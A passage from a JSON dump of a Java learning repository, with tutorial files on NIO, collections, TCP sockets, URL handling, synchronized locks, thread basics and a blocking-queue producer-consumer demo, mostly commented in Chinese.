    "content": "package com.jun.base.io.nio;\n\npublic class TestClient {\n    private static String DEFAULT_HOST = \"127.0.0.1\";\n    private static int DEFAULT_PORT = 12345;\n\n    public static void main(String[] args) throws Exception {\n\n\n        for (int i=0;i<10;i++){\n\n            ClientHandle clientHandle = new ClientHandle(DEFAULT_HOST,DEFAULT_PORT);\n            new Thread(clientHandle,\"Server\").start();\n            Thread.sleep(20);\n            clientHandle.sendMsg(\"1+\"+i);\n\n\n\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/nio/readMe.txt",
    "content": "http://www.iteye.com/magazines/132-Java-NIO#579\n\n缓冲区 Buffer\n    ByteBuffe、CharBuffer、 ShortBuffer、IntBuffer、LongBuffer、FloatBuffer、DoubleBuffer。他们实现了相同的接口：Buffer。\n    Buffer的capacity,position和limit\n    position和limit的含义取决于Buffer处在读模式还是写模式。不管Buffer处在什么模式，capacity的含义总是一样的。\n\n    capacity\n\n    作为一个内存块，Buffer有一个固定的大小值，也叫“capacity”.你只能往里写capacity个byte、long，char等类型。一旦Buffer满了，需要将其清空（通过读数据或者清除数据）才能继续写数据往里写数据。\n\n    position\n\n    当你写数据到Buffer中时，position表示当前的位置。初始的position值为0.当一个byte、long等数据写到Buffer后， position会向前移动到下一个可插入数据的Buffer单元。position最大可为capacity – 1。\n\n    limit\n\n    在写模式下，Buffer的limit表示你最多能往Buffer里写多少数据。 写模式下，limit等于Buffer的capacity。\n\n    当切换Buffer到读模式时， limit表示你最多能读到多少数据。因此，当切换Buffer到读模式时，limit会被设置成写模式下的position值。换句话说，你能读到之前写入的所有数据（limit被设置成已写数据的数量，这个值在写模式下就是position）\n\n\n通道 Channel\n    通道不同于流的地方就是通道是双向的，可以用于读、写和同时读写操作。\n    底层的操作系统的通道一般都是全双工的，所以全双工的Channel比流能更好的映射底层操作系统的API。\n    Channel主要分两大类：\n        SelectableChannel：用户网络读写  ServerSocketChannel和SocketChannel都是SelectableChannel的子类。\n        FileChannel：用于文件操作\n\n\n多路复用器 Selector\n    Selector是Java  NIO 编程的基础。\n    Selector提供选择已经就绪的任务的能力：Selector会不断轮询注册在其上的Channel，如果某个Channel上面发生读或者写事件，这个Channel就处于就绪状态，会被Selector轮询出来，然后通过SelectionKey可以获取就绪Channel的集合，进行后续的I/O操作。\n    一个Selector可以同时轮询多个Channel，因为JDK使用了epoll()代替传统的select实现，所以没有最大连接句柄1024/2048的限制。所以，只需要一个线程负责Selector的轮询，就可以接入成千上万的客户端。"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/jvm/HeapOOMTest.java",
    "content": "package com.jun.base.jvm;\n\nimport java.util.LinkedList;\n\n//jvm参数：-Xms20m -Xmx20m\npublic class HeapOOMTest {\n\n    public static void main(String[] args){\n        Test.run();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/jvm/Test.java",
    "content": "package com.jun.base.jvm;\n\nimport java.util.LinkedList;\n\npublic class Test {\n\n    public static void run() {\n        LinkedList xttblog=new LinkedList();//作为GC Root\n        while(true){\n            xttblog.add(new HeapOOMTest());//疯狂创建对象\n        }\n    }\n\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/jvm/readMe.txt",
    "content": "\njvm 测试 案例"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/map/ListRe.java",
    "content": "package com.jun.base.map;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\npublic class ListRe {\n\n    public static void main(String[] args) {\n        List<String> list = new ArrayList<>();\n        list.add(\"a\");\n\n        Map<String,String> map = new HashMap<>();\n\n        map.put(\"a\",\"1\");\n\n        System.out.println(map);\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/map/ReList.java",
    "content": "package com.jun.base.map;\n\nimport java.util.*;\n\n/*\nhttp://liuyuan418921673.iteye.com/blog/2256120\n\nCollection ：  表示一组数据的类\n  List和Set都继承了Collection\n         列表List: 有序的 Collection\n                  常用的List实现类：       (取出元素可以用迭代器和下标)\n          ArrayList, LinkedList,Vector 都是List的实现类\n            Stack是Vector的子类\n               ArrayList  数组序列\n               LinkedList 链表\n               Stack      栈\n               Vector     向量\n          集合Set: 无重复的 Collection\n                 常用的Set实现类：   取出元素用迭代器（没有get方法）\n              HashSet()\n            TreeSet()\n\n映射 Map<K,V>\n          将键映射到值的一种结构\n          键是一个Set，键不能重复\n          每一个键都对应一个值\n               常用的Map实现类：\n         HashMap():键是一个HashSet\n       TreeMap():键是一个TreeSet\n */\npublic class ReList {\n\n    public static void main(String[] args) {\n\n        List e =  Collections.emptyList();\n\n        Collection  c = new ArrayList<>();\n\n        List l = new ArrayList();\n\n        LinkedList lk = new LinkedList();\n\n\n        /*\n        Vector和 ArrayList一样，都是大小可变的数组的实现\n                       区别： ArrayList不是同步的\n             Vector是同步的，在多线程中一般采用Vector\n           使用方式和 ArrayList一样\n         */\n        Vector v = new Vector();\n\n        /*\n        stack:栈\n            它通过五个操作对类 Vector 进行了扩展\n            它提供了通常的 push 和 pop 操作，\n                    取堆栈顶点的 peek 方法\n                    测试堆栈是否为空的 empty 方法\n                   在堆栈中查找项并确定到堆栈顶距离的 search 方法。\n          后进先出\n          最先放入的数据在栈的底部\n          最后放入的数据在栈的顶部\n          每次取数据都只能取到栈顶的数据\n\n         */\n\n        Stack s = new Stack();\n\n\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/map/ReMap.java",
    "content": "package com.jun.base.map;\n\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/*\nhttps://blog.csdn.net/lijizhi19950123/article/details/78209278\n */\npublic class ReMap {\n\n    public static void main(String[] args) {\n\n        Map hashMap = new HashMap<>();\n        Map hashtable= new Hashtable();\n        Map weakHashMap = new WeakHashMap();\n        Map treeMap = new TreeMap();\n        Set set = new  HashSet();\n        set.add(\"a\");\n        ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap();\n        System.out.printf(\"\");\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/map/TestMap.java",
    "content": "package com.jun.base.map;\n\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\npublic class TestMap {\n\n    static HashMap<String,Integer> concurrentHashMap = new HashMap<>();\n\n  //static ConcurrentHashMap<String,Integer> concurrentHashMap = new ConcurrentHashMap<>();\n\n    public static void main(String[] args) {\n        concurrentHashMap.put(\"sz\",1);\n        add();\n\n        //treeMap();\n\n    }\n\n\n\n    public static void add(){\n        ExecutorService fixedThreadPool = Executors.newFixedThreadPool(5);\n\n\n        for(int i = 0; i <=20; i++){\n\n            final int j = i;\n            fixedThreadPool.execute(new Runnable() {\n\n                @Override\n                public void run() {\n                    try {\n                        Integer i =  concurrentHashMap.get(\"sz\");\n                       System.out.println(\"i =\"+ Thread.currentThread().getName()+\"---\" +i);\n                        concurrentHashMap.put(\"sz\",++i);\n                       // System.err.println(\"i ==\"+ Thread.currentThread().getName()+\"---\" +concurrentHashMap.get(\"sz\"));\n\n\n\n                    } catch (Exception e) {\n                        // TODO Auto-generated catch block\n                        e.printStackTrace();\n                    }\n                }\n            });\n        }\n    }\n\n    /**\n     *\n     *\n     TreeMap 默认排序规则：按照key的字典顺序来排序（升序）\n\n     当然，也可以自定义排序规则：要实现Comparator接口。\n\n\n     TreeMap<String, String> map = new TreeMap<String, String>(new Comparator<String>() {\n\n        @Override\n        public int compare(String o1, String o2) {\n            return o2.compareTo(o1);\n        }\n\n     });\n\n     *\n     */\n    public  static void treeMap(){\n\n\n\n        TreeMap<Integer, String> treeMap = new TreeMap<>();\n        TreeMap<String, Integer> treeMap1 = new TreeMap<>();\n        treeMap.put(7, \"h\");\n        treeMap.put(8, \"g\");\n        treeMap.put(9, \"f\");\n        treeMap.put(10, \"e\");\n        treeMap.put(14, \"a\");\n        treeMap.put(1, \"w\");\n        treeMap.put(2, \"v\");\n        treeMap.put(3, \"u\");\n        treeMap.put(11, \"d\");\n        treeMap.put(12, \"c\");\n        treeMap.put(13, \"b\");\n        treeMap.put(4, \"k\");\n        treeMap.put(5, \"j\");\n        treeMap.put(6, \"i\");\n        System.out.println(\"----------------------*------------------------------\");\n        while (treeMap.size() != 0) {\n            //treemap自动按照key进行递增排序\n            System.out.println(treeMap.firstEntry().getKey() + \" - \" + treeMap.firstEntry().getValue());\n            treeMap1.put(treeMap.firstEntry().getValue(), treeMap.firstEntry().getKey());\n            treeMap.remove(treeMap.firstKey());\n        }\n        System.out.println(\"----------------------*------------------------------\");\n        while (treeMap1.size() != 0) {\n            //treemap自动按照key进行递增排序\n            System.out.println(treeMap1.firstEntry().getKey() + \" - \" + treeMap1.firstEntry().getValue());\n            treeMap1.remove(treeMap1.firstKey());\n        }\n        System.out.println(\"----------------------*------------------------------\");\n    }\n\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/map/readMe.txt",
    "content": "Map系列集合总结使用\nhttps://www.cnblogs.com/skywang12345/p/3311126.html#a1\n\njava 核心集合\nhttps://segmentfault.com/a/1190000014403696\n\n\nCollection\n        |--------List\n                    |----------LinkedList\n                    |----------ArrayList\n                    |----------Vector\n                                     |-----Stack\n        |--------Set\n                    |----------HashSet\n                    |----------TreeSet\nMap\n        |---------HashMap  HashTable   concurrentHashMap\n        |---------TreeMap\n\n\n16个数组长度。0.75 。 (n *4 )%3 >0 ? (n *4 /3 ) : (n *4 /3 )+1\n\n16 * 0.75 = 12    >  new  16 + 8  = 24\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/socket/ClientDo.java",
    "content": "package com.jun.base.socket;\n\nimport java.io.*;\nimport java.net.Socket;\n\npublic class ClientDo {\n\n    public static void main(String[] args) throws IOException {\n        //客户端\n//1、创建客户端Socket，指定服务器地址和端口\n        Socket socket =new Socket(\"localhost\",10086);\n//2、获取输出流，向服务器端发送信息\n        OutputStream os = socket.getOutputStream();//字节输出流\n        PrintWriter pw =new PrintWriter(os);//将输出流包装成打印流\n        pw.write(\"用户名：admin；密码：123\");\n        pw.flush();\n        socket.shutdownOutput();\n//3、获取输入流，并读取服务器端的响应信息\n        InputStream is = socket.getInputStream();\n        BufferedReader br = new BufferedReader(new InputStreamReader(is));\n        String info = null;\n        while((info=br.readLine())!=null){\n            System.out.println(\"我是客户端，服务器说：\"+info);\n        }\n\n//4、关闭资源\n        br.close();\n        is.close();\n        pw.close();\n        os.close();\n        socket.close();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/socket/ServiceDo.java",
    "content": "package com.jun.base.socket;\n\nimport java.io.*;\nimport java.net.ServerSocket;\nimport java.net.Socket;\n\npublic class ServiceDo {\n\n\n    public static void main(String[] args) throws IOException {\n\n        serviceOne();\n        //serviceMore();\n\n    }\n\n\n    public static void serviceOne()throws IOException {\n\n\n        /**\n         * 基于TCP协议的Socket通信，实现用户登录，服务端\n         */\n//1、创建一个服务器端Socket，即ServerSocket，指定绑定的端口，并监听此端口\n        ServerSocket serverSocket =new ServerSocket(10086);//1024-65535的某个端口\n//2、调用accept()方法开始监听，等待客户端的连接\n        Socket socket = serverSocket.accept();\n//3、获取输入流，并读取客户端信息\n        InputStream is = socket.getInputStream();\n        InputStreamReader isr =new InputStreamReader(is);\n        BufferedReader br =new BufferedReader(isr);\n        String info =null;\n        while((info=br.readLine())!=null){\n            System.out.println(\"我是服务器，客户端说：\"+info);\n        }\n        socket.shutdownInput();//关闭输入流\n//4、获取输出流，响应客户端的请求\n        OutputStream os = socket.getOutputStream();\n        PrintWriter pw = new PrintWriter(os);\n        pw.write(\"欢迎您！\");\n        pw.flush();\n\n\n//5、关闭资源\n        pw.close();\n        os.close();\n        br.close();\n        isr.close();\n        is.close();\n        socket.close();\n        serverSocket.close();\n    }\n\n\n    public static void serviceMore()throws IOException{\n\n        /**\n         * 基于TCP协议的Socket通信，实现用户登录，服务端\n         */\n//1、创建一个服务器端Socket，即ServerSocket，指定绑定的端口，并监听此端口\n        ServerSocket serverSocket =new ServerSocket(10086);//1024-65535的某个端口\n//2、调用accept()方法开始监听，等待客户端的连接\n       // Socket socket = serverSocket.accept();\n\n\n\n        Socket socket = null;\n        int count =0;//记录客户端的数量\n        while(true){\n            socket = serverSocket.accept();\n            //线程处理 run 方法\n          /*  ServerThread serverThread =new ServerThread(socket);\n            serverThread.start();*/\n            count++;\n            System.out.println(\"客户端连接的数量：\"+count);\n        }\n\n\n\n\n\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/socket/Test1.java",
    "content": "package com.jun.base.socket;\n\nimport java.net.InetAddress;\nimport java.net.UnknownHostException;\n\npublic class Test1 {\n\n    public static void main(String[] args) {\n\n\n        //获取本机的InetAddress实例\n        InetAddress address = null;\n        try {\n            address = InetAddress.getLocalHost();\n\n            String name = address.getHostName();//获取计算机名\n            String ip = address.getHostAddress();//获取IP地址\n            byte[] bytes = address.getAddress();//获取字节数组形式的IP地址,以点分隔的四部分\n\n            System.out.println(\"name=\"+name);\n            System.out.println(\"ip=\"+ip);\n            //获取其他主机的InetAddress实例\n            // InetAddress address2 =InetAddress.getByName(\"其他主机名\");\n            //  InetAddress address3 =InetAddress.getByName(\"IP地址\");\n\n\n        } catch (UnknownHostException e) {\n            e.printStackTrace();\n        }\n\n\n\n\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/socket/Test2.java",
    "content": "package com.jun.base.socket;\n\nimport java.net.MalformedURLException;\nimport java.net.URL;\n\npublic class Test2 {\n    public static void main(String[] args) throws MalformedURLException {\n        //创建一个URL的实例\n        URL baidu =new URL(\"http://www.baidu.com\");\n        URL url =new URL(baidu,\"/index.html?username=tom#test\");//？表示参数，#表示锚点\n        String pro = url.getProtocol();//获取协议\n        String host = url.getHost();//获取主机\n        int port =  url.getPort();//如果没有指定端口号，根据协议不同使用默认端口。此时getPort()方法的返回值为 -1\n        String path = url.getPath();//获取文件路径\n        String file = url.getFile();//文件名，包括文件路径+参数\n        String ref = url.getRef();//相对路径，就是锚点，即#号后面的内容\n        String query = url.getQuery();//查询字符串，即参数\n\n\n        System.out.println(\"pro=\"+pro);\n        System.out.println(\"host=\"+host);\n        System.out.println(\"port=\"+port);\n        System.out.println(\"path=\"+path);\n        System.out.println(\"file=\"+file);\n        System.out.println(\"ref=\"+ref);\n        System.out.println(\"query=\"+query);\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/socket/Test3.java",
    "content": "package com.jun.base.socket;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.net.MalformedURLException;\nimport java.net.URL;\n\npublic class Test3 {\n\n    public static void main(String[] args) throws IOException {\n        //使用URL读取网页内容\n//创建一个URL实例\n        URL url =new URL(\"http://www.baidu.com\");\n        InputStream is = url.openStream();//通过openStream方法获取资源的字节输入流\n        InputStreamReader isr =new InputStreamReader(is,\"UTF-8\");//将字节输入流转换为字符输入流,如果不指定编码，中文可能会出现乱码\n        BufferedReader br =new BufferedReader(isr);//为字符输入流添加缓冲，提高读取效率\n        String data = br.readLine();//读取数据\n        while(data!=null){\n            System.out.println(data);//输出数据\n            data = br.readLine();\n        }\n        br.close();\n        isr.close();\n        is.close();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/socket/readMe.txt",
    "content": "\nhttps://www.cnblogs.com/rocomp/p/4790340.html\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/synchronizedTest/Read.txt",
    "content": "synchronized\n\n1, synchronized （）{}\n\n   synchronized关键字也可以加在方法上（一样代表锁住当前对象或者类）\n   * 括号里面可以传：this  类.class  代表的都是锁住当前对象或者类\n   1）this 锁住当前类对象.\n   2)类.class  实现了全局锁的效果\n\n2, synchronized public static 这里对应的是类锁\n\n\n3, 不管被锁住的类（或者对象），有多少同步方法，只要其中一个线程访问了其中的一个同步方法，\n   它就锁住了整个对象，别的线程就不能访问别的同步方法。但是可以访问这个对象别的没有同步的方法。\n\n4, 静态方法 static\n   synchronized(){} 只能传对象.class\n\n博客园：\n\nhttp://www.cnblogs.com/chen-msg/p/8301446.html\n\n锁一般分为对象锁，类锁，锁住代码块。\n\n1，对象锁是 一个非静态方法类，锁的本身就是this、锁住当前对象。synchronized锁住的是括号里的对象，而不是代码。对于非static的synchronized方法，锁的就是对象本身也就是this。\n2，如果传类.class 就是锁住代码块。synchronized(类.class)实现了全局锁的效果。\n3，static synchronized方法也相当于全局锁，相当于锁住了代码段。"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/synchronizedTest/SyT1.java",
    "content": "package com.jun.base.synchronizedTest;\n\n/**\n * 锁一般分为对象锁和类锁(锁住代码块)。\n *\n * 这里是对象锁，一个对象对应一个单独的锁，多个对象之间互相不影响。\n *\n * 类锁，一般是对应在静态方法上\n */\npublic class SyT1 {\n\n    public static void main(String[] args) {\n\n        /**\n         *\n         一个对象对应一个锁\n         *\n         */\n       /* Sync1 sync = new Sync1();\n\n        Sya1 sya1 = new Sya1(sync);\n        sya1.start();\n\n        Syb1 syb1 = new Syb1(sync);\n        syb1.start();*/\n\n\n        /**\n         *\n         * 因为是一个对象一个锁，2个对象就是2个锁，所以去掉Sync2hronized不影响。\n         *\n         *\n         */\n\n        Sync1 sync1 = new Sync1();\n\n        Sync1 sync2 = new Sync1();\n\n\n        Sya1 sya1 = new Sya1(sync1);\n        sya1.run();\n\n        Syb1 syb1 = new Syb1(sync2);\n        syb1.run();\n\n    }\n\n\n}\n\nclass Sync1 {\n\n    private int num = 0;\n\n    public synchronized void add(String name){\n\n        try {\n            if(\"a\".equals(name)){\n                num = 100;\n                System.out.println(\"a set over\");\n                Thread.sleep(2000);\n            }else{\n                num = 200;\n                System.out.println(\"b set over\");\n            }\n\n            System.err.println(name + \" num = \"+ num);\n\n\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n    }\n}\n\nclass Sya1 extends  Thread{\n\n    private Sync1 numRef;\n\n    public Sya1(Sync1 numRef){\n\n        this.numRef =  numRef;\n    }\n\n    @Override\n    public void run() {\n\n        numRef.add(\"a\");\n\n    }\n}\n\nclass Syb1 extends  Thread{\n\n    private Sync1 numRef;\n\n    public Syb1(Sync1 numRef){\n\n        this.numRef =  numRef;\n    }\n\n    @Override\n    public void run() {\n\n        numRef.add(\"b\");\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/synchronizedTest/SyT2.java",
    "content": "package com.jun.base.synchronizedTest;\n\n/**\n * 1.synchronized (Sync2.class) , 2.synchronized (this)\n *\n *\n *\n * 1,输出：开始-结束 开始-结束 开始-结束\n *\n *      实现了全局锁 ,锁住代码段\n *\n *\n * 2,输出：开始-开始-开始 -  结束-结束-结束\n *\n *      只是锁住了当前对象\n *\n *\n * 观察输出打印时间\n */\npublic class SyT2 {\n\n    public static void main(String[] args) {\n        for(int i = 1;i<=1;i++){\n\n            Sya2 sya2 = new Sya2(i);\n            sya2.start();\n        }\n\n    }\n}\n\nclass Sync2 {\n\n     public void test(int num){\n\n        System.err.println(System.currentTimeMillis()+\"==begin \"+num);\n\n        // this  Sync2.class 输出效果不一样\n        //锁开始\n        synchronized (Sync2.class){\n            System.out.println(System.currentTimeMillis()+ \"==test开始..\"+num);\n            try {\n\n                Thread.sleep(2000);\n\n            }catch (Exception e){\n                e.printStackTrace();\n            }\n            System.out.println(System.currentTimeMillis()+ \"==test结束..\"+num);\n        }\n        //锁结束\n        System.err.println(System.currentTimeMillis()+ \"==end \"+num);\n    }\n}\n\nclass Sya2 extends Thread{\n\n    private int num = -1;\n\n    public Sya2(int num){\n\n        this.num = num;\n    }\n\n    @Override\n    public void run() {\n        Sync2 Sync2 = new Sync2();\n        Sync2.test(num);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/synchronizedTest/SyT3.java",
    "content": "package com.jun.base.synchronizedTest;\n\n/**\n *\n *## 如果里面传了别的对象，如字符串等，就不是锁住当前类了。那是锁住什么呢？还是锁不管用了？\n *因为anyString 本身就是虚拟对象。不参与运算。这样做的目的是，让锁不锁住整个对象，可以让别的线程可以访问。\n * 这是虚拟对象来上锁。\n *\n * *****\n * 不过我还没有了解到一般用于什么场景？\n *\n */\npublic class SyT3 {\n\n\n    public static void main(String[] args) {\n        Sync3 sync3 = new Sync3(\"cs\");\n\n        Sya3 sya3A = new Sya3(sync3,\"A\");\n        sya3A.start();\n\n\n        Sya3 sya3B = new Sya3(sync3,\"B\");\n        sya3B.start();\n\n\n    }\n\n\n}\n\nclass Sync3{\n\n    String str = new String();\n\n    public Sync3(String str){\n        this.str = str;\n    }\n\n    public void set(String name){\n\n        try {\n            System.err.println(System.currentTimeMillis()+\"==\"+name);\n            synchronized (str){\n                str = name;\n\n                System.out.println(\"线程名称为：\" + Thread.currentThread().getName() + \"在\" + System.currentTimeMillis() + \"进入同步块\"+this.str);\n                Thread.sleep(3000);\n                System.out.println(\"线程名称为：\" + Thread.currentThread().getName() + \"在\" + System.currentTimeMillis() + \"离开同步块\"+this.str);\n\n            }\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n    }\n}\n\nclass Sya3 extends Thread {\n    private Sync3 sync3 ;\n    private String name;\n    public Sya3(Sync3 sync3,String name){\n        this.sync3 = sync3;\n        this.name = name;\n    }\n    @Override\n    public void run() {\n        sync3.set(name);\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/synchronizedTest/SyT4.java",
    "content": "package com.jun.base.synchronizedTest;\n\n/**\n *\n * 静态方法 static\n * synchronized(){} 只能传对象.class\n *\n */\npublic class SyT4 {\n    public static void main(String[] args) {\n        Sync4 sync4 = new Sync4(\"cs\");\n\n        Sya4 sya4A = new Sya4(sync4,\"A\");\n        sya4A.start();\n\n        Sya4 sya4B = new Sya4(sync4,\"B\");\n        sya4B.start();\n\n\n    }\n\n}\n\nclass Sync4{\n\n   public static String str ;\n\n    public Sync4(String str){\n        this.str = str;\n    }\n\n    public static void set(String name){\n\n        try {\n            System.err.println(System.currentTimeMillis()+\"==\"+name);\n            synchronized (Sync4.class){//设置 this  编译不通过 ，只能传值 对象.class\n                str = name;\n                System.out.println(\"线程名称为：\" + Thread.currentThread().getName() + \"在\" + System.currentTimeMillis() + \"进入同步块\"+str);\n                Thread.sleep(3000);\n                System.out.println(\"线程名称为：\" + Thread.currentThread().getName() + \"在\" + System.currentTimeMillis() + \"离开同步块\"+str);\n\n            }\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n    }\n}\nclass Sya4 extends Thread {\n    private Sync4 sync4 ;\n    private String name;\n    public Sya4(Sync4 sync4,String name){\n        this.sync4 = sync4;\n        this.name = name;\n    }\n    @Override\n    public void run() {\n        sync4.set(name);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/thread/Funner.java",
    "content": "package com.jun.base.thread;\n\npublic class Funner {\n\n    public void fun(){\n        for (int i=1;i<=1000;i++){\n            System.out.println(Thread.currentThread().getName()+\":\"+i);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/thread/Main.java",
    "content": "package com.jun.base.thread;\n\npublic class Main {\n\n    public static void main(String[] args) {\n\t    Thread t0 = Thread.currentThread();//获取当前线程对象\n        System.out.println(\"主线程的名称：\"+t0.getName());\n\n        Thread t1 = new One(\"One\");\n\n        /**\n         * 第二种创建线程的方式：以Runnable接口对象为构造参数直接创建Thread类对象\n         */\n        Thread t2 = new Thread(new Two(),\"Two\");\n\n        //t1.run();//error!!!\n        t1.start();//启动线程，start方法的作用就是将被调用start方法的线程放入线程池中\n        t2.start();\n\n        for(int i=1;i<=1000;i++){\n            System.out.println(t0.getName()+\":\"+i);\n            /*try {\n                Thread.sleep(50);//当前线程睡眠50ms\n            } catch (InterruptedException e) {\n                e.printStackTrace();\n            }*/\n        }\n        System.out.println(t0.getName()+\"结束！\");\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/thread/One.java",
    "content": "package com.jun.base.thread;\n\npublic class One extends Thread{\n\n    public One(String name) {\n        super(name);\n    }\n\n    @Override\n    public void run() {\n\n        for (int i=1;i<=1000;i++){\n            System.out.println(this.getName()+\":\"+i);\n        }\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/thread/Two.java",
    "content": "package com.jun.base.thread;\n\npublic class Two extends Funner implements Runnable {\n    @Override\n    public void run() {\n        this.fun();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/thread/join_example/Test.java",
    "content": "package com.jun.base.thread.join_example;\n\npublic class Test {\n\n    public static void main(String[] args) {\n        // new Thread(){}; 创建了一个Thread类的匿名子类对象\n        Thread t1 = new Thread(\"T1\"){\n            @Override\n            public void run() {\n               for(int i=0;i<1000;i++){\n                   System.out.println(this.getName()+\"-》\"+i);\n               }\n            }\n        };\n\n        Thread t2 = new Thread(() -> {\n\n                for(int i=0;i<1000;i++){\n                    System.out.println(Thread.currentThread().getName()+\"-》\"+i);\n                    if(i==200){\n                        try {\n                            t1.join();//t2调用了t1的join方法，导致t2阻塞直到t1结束。\n                        } catch (InterruptedException e) {\n                            e.printStackTrace();\n                        }\n                    }\n                }\n\n        },\"T2\");\n\n        t2.start();\n        t1.start();\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/thread/yield_example/TestYield.java",
    "content": "package com.jun.base.thread.yield_example;\n\npublic class TestYield {\n\n    public static void main(String[] args) {\n        Thread t1 = new Thread(\"T1\"){\n            @Override\n            public void run() {\n                for(int i=0;i<1000;i++){\n                    System.out.println(this.getName()+\"-》\"+i);\n                    Thread.yield();\n                }\n            }\n        };\n\n        Thread t2 = new Thread(() -> {\n\n            for(int i=0;i<1000;i++){\n               System.out.println(Thread.currentThread().getName()+\"-》\"+i);\n               Thread.yield();\n            }\n\n        },\"T2\");\n\n        t2.start();\n        t1.start();\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/threadTest/Consumer1/EggConsumer.java",
    "content": "package com.jun.base.threadTest.Consumer1;\n\nimport java.util.concurrent.ArrayBlockingQueue;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.locks.ReentrantLock;\n\n/**\n * 多线程 放鸡蛋 取鸡蛋\n * 阻塞队列详解\n *\n * http://blog.csdn.net/qq_23359777/article/details/70146778\n */\npublic class EggConsumer {\n\n    private static final ArrayBlockingQueue<String> abq = new ArrayBlockingQueue<String>(10);\n\n    public static void main(String[] args) {\n\n        try {\n            putEgg();\n            Thread.sleep(2000);\n            getEgg();\n\n\n        } catch (Exception e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        }\n\n\n    }\n\n    /**\n     * 多线程放鸡蛋\n     */\n    public static void putEgg(){\n        ExecutorService fixedThreadPool = Executors.newFixedThreadPool(3);\n        //ExecutorService fixedThreadPool = Executors.newCachedThreadPool();\n\n        for(int i = 0; i <=15; i++){\n            final int index = i;\n            fixedThreadPool.execute(new Runnable() {\n\n                @Override\n                public void run() {\n                    try {\n\n                        Boolean b =  abq.offer(\"\"+index);\n                        System.out.println(\"放入鸡蛋\"+index +\"====\"+b);\n                        //Thread.sleep(2000);\n                    } catch (Exception e) {\n                        // TODO Auto-generated catch block\n                        e.printStackTrace();\n                    }\n                }\n            });\n        }\n\n    }\n    /**\n     * 多线程取鸡蛋\n     */\n    public static void getEgg(){\n        ExecutorService fixedThreadPool = Executors.newFixedThreadPool(2);\n        //ExecutorService fixedThreadPool = Executors.newCachedThreadPool();\n        for(int i = 0; i <=30; i++){\n            final int index = i;\n            fixedThreadPool.execute(new Runnable() {\n\n                @Override\n                public void run() {\n                    try {\n                        String s = abq.poll();\n                        System.err.println(\"取出鸡蛋\"+s);\n                        Thread.sleep(1000);\n                    } catch (InterruptedException e) {\n                        // TODO Auto-generated catch block\n                        e.printStackTrace();\n                    }\n                }\n            });\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/threadTest/Consumer1/readMe.txt",
